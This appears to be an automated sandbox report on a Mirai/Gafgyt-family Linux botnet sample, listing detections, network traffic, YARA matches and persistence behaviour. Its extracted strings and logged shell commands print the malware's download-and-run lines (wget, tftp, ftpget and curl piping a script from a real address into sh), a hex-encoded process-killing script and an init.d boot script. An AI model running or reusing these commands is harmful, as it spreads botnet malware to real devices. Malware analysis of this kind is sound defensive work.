Linux Analysis Report
x86_64.nn.elf

Overview

General Information

Sample name: x86_64.nn.elf
Analysis ID: 1579428
MD5: 1a5f2a64b5e27b8cdccb12679908b6d4
SHA1: 46e5d20781a12a127fe15a7fd877f2ce25bcc73a
SHA256: 8694d803a62cd8404f6a9320f3403352fb91cce24ae2bfa89734fb9c412b8faf
Tags: elfuser-abuse_ch
Infos:

Detection

Mirai, Okiru
Score: 100
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Yara detected Mirai
Yara detected Okiru
Connects to many ports of the same IP (likely port scanning)
Drops files in suspicious directories
Machine Learning detection for sample
Sample tries to persist itself using /etc/profile
Sample tries to persist itself using System V runlevels
Sample tries to set files in /etc globally writable
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Executes commands using a shell command-line interpreter
Executes the "chmod" command used to modify permissions
Executes the "mkdir" command used to create folders
Executes the "systemctl" command used for controlling the systemd system and service manager
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Sample tries to set the executable flag
Writes shell script file to disk with an unusual file extension
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: x86_64.nn.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: x86_64.nn.elf ReversingLabs: Detection: 42%
Source: x86_64.nn.elf Virustotal: Detection: 37% Perma Link
Machine Learning detection for sample
Source: x86_64.nn.elf Joe Sandbox ML: detected
Found strings indicative of a multi-platform dropper
Source: x86_64.nn.elf String: getinfo xxx/proc/self/exe(deleted)/proc/%s/exe/proc/..%s/%ssize=10Mtmpfs/tmp/tt/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/sh94.156.227.2342surf2/proc/%d/exe/ /proc-altered/tmp/.socket/proc/%d/mountinfo/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/opt/app/monitor/z/secom//usr/lib/sys/media/srv/sbin/httpdtelnetddropbearencoder/var/tmp/wlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nntelnet.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdvar/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdhome/Davincissh/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharkechotcpdumpnetstatpythoniptablesnanonvimgdbpkillkillallapt/bin/loginFound And Killed Process: PID=%d, Realpath=%s, Bot-ID:%s/snap/snapd/15534/usr/lib/snapd/snapd/usr/libexec/openssh/sftp-serveranko-app/ankosample _8182T_1104mallocwaitpid/etc/motd%s
Source: x86_64.nn.elf String: .dThe Gorilla/var//var/run//var/tmp//dev//dev/shm//etc//mnt//boot//home/armarm5arm6arm7mipsmpslppcspcsh4/bin/busybox wget http://94.156.227.233/lol.sh -O- | sh;/bin/busybox tftp -g http://94.156.227.233/ -r lol.sh -l- | sh;/bin/busybox ftpget http://94.156.227.233/ lol.sh lol.sh && sh lol.sh;curl http://94.156.227.233/curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"

Networking
barindex
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 94.156.227.234 ports 38242,199,2,3,4,8
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.14:51368 -> 94.156.227.234:38242
Sample listens on a socket
Source: /tmp/x86_64.nn.elf (PID: 5554) Socket: 0.0.0.0:38242 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 29.106.49.102
Source: unknown TCP traffic detected without corresponding DNS query: 199.190.139.207
Source: unknown TCP traffic detected without corresponding DNS query: 142.153.92.147
Source: unknown TCP traffic detected without corresponding DNS query: 46.143.44.39
Source: unknown TCP traffic detected without corresponding DNS query: 183.156.198.197
Source: unknown TCP traffic detected without corresponding DNS query: 191.66.238.241
Source: unknown TCP traffic detected without corresponding DNS query: 25.71.250.215
Source: unknown TCP traffic detected without corresponding DNS query: 83.250.100.168
Source: unknown TCP traffic detected without corresponding DNS query: 88.226.239.116
Source: unknown TCP traffic detected without corresponding DNS query: 93.242.14.191
Source: unknown TCP traffic detected without corresponding DNS query: 134.98.226.149
Source: unknown TCP traffic detected without corresponding DNS query: 136.230.254.91
Source: unknown TCP traffic detected without corresponding DNS query: 155.221.3.107
Source: unknown TCP traffic detected without corresponding DNS query: 20.216.239.186
Source: unknown TCP traffic detected without corresponding DNS query: 18.189.145.207
Source: unknown TCP traffic detected without corresponding DNS query: 187.122.71.114
Source: unknown TCP traffic detected without corresponding DNS query: 113.29.219.113
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 179.63.253.248
Source: unknown TCP traffic detected without corresponding DNS query: 156.71.194.88
Source: unknown TCP traffic detected without corresponding DNS query: 71.67.202.25
Source: unknown TCP traffic detected without corresponding DNS query: 165.215.253.239
Source: unknown TCP traffic detected without corresponding DNS query: 177.136.218.10
Source: unknown TCP traffic detected without corresponding DNS query: 33.92.170.14
Source: unknown TCP traffic detected without corresponding DNS query: 167.68.175.7
Source: unknown TCP traffic detected without corresponding DNS query: 160.49.103.171
Source: unknown TCP traffic detected without corresponding DNS query: 143.151.115.64
Source: unknown TCP traffic detected without corresponding DNS query: 71.138.199.26
Source: unknown TCP traffic detected without corresponding DNS query: 140.81.107.251
Source: unknown TCP traffic detected without corresponding DNS query: 194.32.34.31
Source: unknown TCP traffic detected without corresponding DNS query: 44.61.16.120
Source: unknown TCP traffic detected without corresponding DNS query: 98.30.50.28
Source: unknown TCP traffic detected without corresponding DNS query: 59.153.102.247
Source: unknown TCP traffic detected without corresponding DNS query: 71.203.45.123
Source: unknown TCP traffic detected without corresponding DNS query: 82.22.233.228
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 29.106.49.102
Source: unknown TCP traffic detected without corresponding DNS query: 199.190.139.207
Source: unknown TCP traffic detected without corresponding DNS query: 142.153.92.147
Source: unknown TCP traffic detected without corresponding DNS query: 109.235.85.224
Source: unknown TCP traffic detected without corresponding DNS query: 46.143.44.39
Source: unknown TCP traffic detected without corresponding DNS query: 183.156.198.197
Source: unknown TCP traffic detected without corresponding DNS query: 191.66.238.241
Source: unknown TCP traffic detected without corresponding DNS query: 25.71.250.215
Source: unknown TCP traffic detected without corresponding DNS query: 83.250.100.168
Source: unknown TCP traffic detected without corresponding DNS query: 88.226.239.116
Source: unknown TCP traffic detected without corresponding DNS query: 93.242.14.191
Source: unknown TCP traffic detected without corresponding DNS query: 134.98.226.149
Source: global traffic DNS traffic detected: DNS query: daisy.ubuntu.com
Source: x86_64.nn.elf, profile.12.dr, system.12.dr, inittab.12.dr, sh.30.dr, bootcmd.12.dr, custom.service.12.dr String found in binary or memory: http://94.156.227.233/
Source: x86_64.nn.elf String found in binary or memory: http://94.156.227.233/curl.sh
Source: x86_64.nn.elf String found in binary or memory: http://94.156.227.233/lol.sh
Source: x86_64.nn.elf String found in binary or memory: http://94.156.227.233/oro1vk/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/s

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: x86_64.nn.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: x86_64.nn.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: x86_64.nn.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: x86_64.nn.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: x86_64.nn.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: x86_64.nn.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: x86_64.nn.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_e0cf29e2 Author: unknown
Source: 5554.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: 5554.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: 5554.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: 5554.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: 5554.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: 5554.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: 5554.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_e0cf29e2 Author: unknown
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: getinfo xxx/proc/self/exe(deleted)/proc/%s/exe/proc/..%s/%ssize=10Mtmpfs/tmp/tt/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/sh94.156.227.2342surf2/proc/%d/exe/ /proc-altered/tmp/.socket/proc/%d/mountinfo/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/opt/app/monitor/z/secom//usr/lib/sys/media/srv/sbin/httpdtelnetddropbearencoder/var/tmp/wlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nntelnet.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdvar/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdhome/Davincissh/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharkechotcpdumpnetstatpythoniptablesnanonvimgdbpkillkillallapt/bin/loginFound And Killed Process: PID=%d, Realpath=%s, Bot-ID:%s/snap/snapd/15534
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://94.156.227.233/lol.sh -O- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox tftp -g http://94.156.227.233/ -r lol.sh -l- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox ftpget http://94.156.227.233/ lol.sh lol.sh && sh lol.sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenablelinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> >sh .k94.156.227.233GET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: .dThe Gorilla/var//var/run//var/tmp//dev//dev/shm//etc//mnt//boot//home/armarm5arm6arm7mipsmpslppcspcsh4/bin/busybox wget http://94.156.227.233/lol.sh -O- | sh;/bin/busybox tftp -g http://94.156.227.233/ -r lol.sh -l- | sh;/bin/busybox ftpget http://94.156.227.233/ lol.sh lol.sh && sh lol.sh;curl http://94.156.227.233/curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/x86_64.nn.elf (PID: 5608) SIGKILL sent: pid: 794, result: successful Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 5608) SIGKILL sent: pid: 888, result: successful Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 5608) SIGKILL sent: pid: 1659, result: successful Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 5608) SIGKILL sent: pid: 3212, result: successful Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 5608) SIGKILL sent: pid: 3218, result: successful Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 5608) SIGKILL sent: pid: 5652, result: successful Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 5608) SIGKILL sent: pid: 5691, result: successful Jump to behavior
Yara signature match
Source: x86_64.nn.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: x86_64.nn.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: x86_64.nn.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: x86_64.nn.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: x86_64.nn.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: x86_64.nn.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: x86_64.nn.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_e0cf29e2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3f124c3c9f124264dfbbcca1e4b4d7cfcf3274170d4bf8966b6559045873948f, id = e0cf29e2-88d7-4aa4-b60a-c24626f2b246, last_modified = 2021-09-16
Source: 5554.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: 5554.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: 5554.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: 5554.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: 5554.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: 5554.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: 5554.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_e0cf29e2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3f124c3c9f124264dfbbcca1e4b4d7cfcf3274170d4bf8966b6559045873948f, id = e0cf29e2-88d7-4aa4-b60a-c24626f2b246, last_modified = 2021-09-16
Source: classification engine Classification label: mal100.spre.troj.evad.linELF@0/9@2/0

Persistence and Installation Behavior
barindex
Sample tries to persist itself using /etc/profile
Source: /tmp/x86_64.nn.elf (PID: 5554) File: /etc/profile Jump to behavior
Sample tries to persist itself using System V runlevels
Source: /tmp/x86_64.nn.elf (PID: 5554) File: /etc/rc.local Jump to behavior
Source: /usr/bin/ln (PID: 5596) File: /etc/rcS.d/S99system -> /etc/init.d/system Jump to behavior
Source: /usr/bin/ln (PID: 5603) File: /etc/rc.d/S99sh -> /etc/init.d/sh Jump to behavior
Sample tries to set files in /etc globally writable
Source: /tmp/x86_64.nn.elf (PID: 5554) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5594) File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5599) File: /etc/init.d/sh (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/x86_64.nn.elf (PID: 5607) File opened: /proc/5660/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 5607) File opened: /proc/5661/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 5607) File opened: /proc/5662/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 5607) File opened: /proc/5640/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 5607) File opened: /proc/5663/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 5607) File opened: /proc/5740/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 5607) File opened: /proc/5664/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 5607) File opened: /proc/5741/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 5607) File opened: /proc/5739/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 5607) File opened: /proc/5654/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 5607) File opened: /proc/5731/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 5607) File opened: /proc/5655/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 5607) File opened: /proc/5732/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 5607) File opened: /proc/5656/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 5607) File opened: /proc/5733/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 5607) File opened: /proc/5657/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 5607) File opened: /proc/5734/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 5607) File opened: /proc/5658/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 5607) File opened: /proc/5735/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 5607) File opened: /proc/5659/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 5607) File opened: /proc/5736/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 5607) File opened: /proc/5737/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 5607) File opened: /proc/5738/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 5607) File opened: /proc/5670/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 5607) File opened: /proc/5651/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 5607) File opened: /proc/5695/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 5607) File opened: /proc/5652/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 5607) File opened: /proc/5653/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 5607) File opened: /proc/5697/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 5607) File opened: /proc/5730/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 5607) File opened: /proc/5391/cmdline Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 5607) File opened: /proc/5728/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 5607) File opened: /proc/1/cmdline Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 5607) File opened: /proc/5729/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 5607) File opened: /proc/5665/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 5607) File opened: /proc/5742/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 5607) File opened: /proc/5666/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 5607) File opened: /proc/5667/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 5607) File opened: /proc/5668/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 5607) File opened: /proc/803/cmdline Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 5607) File opened: /proc/5669/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 5607) File opened: /proc/5725/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 5607) File opened: /proc/5726/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 5607) File opened: /proc/5727/status Jump to behavior
Executes commands using a shell command-line interpreter
Source: /tmp/x86_64.nn.elf (PID: 5573) Shell command executed: sh -c "systemctl enable custom.service >/dev/null 2>&1" Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 5593) Shell command executed: sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1" Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 5595) Shell command executed: sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1" Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 5597) Shell command executed: sh -c "echo \"#!/bin/sh\n# /etc/init.d/sh\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting sh'\n /bin/sh &\n wget http://94.156.227.233/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping sh'\n killall sh\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/sh" Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 5598) Shell command executed: sh -c "chmod +x /etc/init.d/sh >/dev/null 2>&1" Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 5600) Shell command executed: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1" Jump to behavior
